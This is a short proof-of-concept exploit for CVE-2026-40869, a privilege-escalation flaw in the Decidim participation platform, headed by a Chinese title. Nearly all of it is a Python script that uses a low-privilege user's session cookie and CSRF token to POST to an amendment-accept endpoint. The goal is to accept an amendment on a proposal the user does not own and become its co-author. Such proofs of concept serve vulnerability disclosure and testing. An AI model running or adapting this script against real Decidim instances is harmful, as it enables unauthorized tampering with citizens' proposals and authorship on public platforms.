CVE-2026-40869 Decidim权限提升漏洞（允许任意用户接受修正案）

# Proof of Concept for CVE-2026-40869 # This script demonstrates how an authenticated user can accept an amendment # on a proposal they do not own. import requests # Target URL (example) target_url = "https://target-decidim-instance.org" # Session with authenticated cookie of a low-privilege user session = requests.Session() session.cookies.set("_decidim_session", "LOW_PRIV_USER_COOKIE_HERE") # IDs of the target proposal and amendment proposal_id = "12345" amendment_id = "67890" # Endpoint to accept the amendment accept_endpoint = f"{target_url}/api/amendments/{amendment_id}/accept" headers = { "Content-Type": "application/json", "X-CSRF-Token": "CSRF_TOKEN_HERE" } try: # Send request to accept the amendment response = session.post(accept_endpoint, headers=headers) if response.status_code == 200 or response.status_code == 201: print(f"[+] Success: Amendment {amendment_id} accepted.") print("[+] The user is now a co-author of the proposal.") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")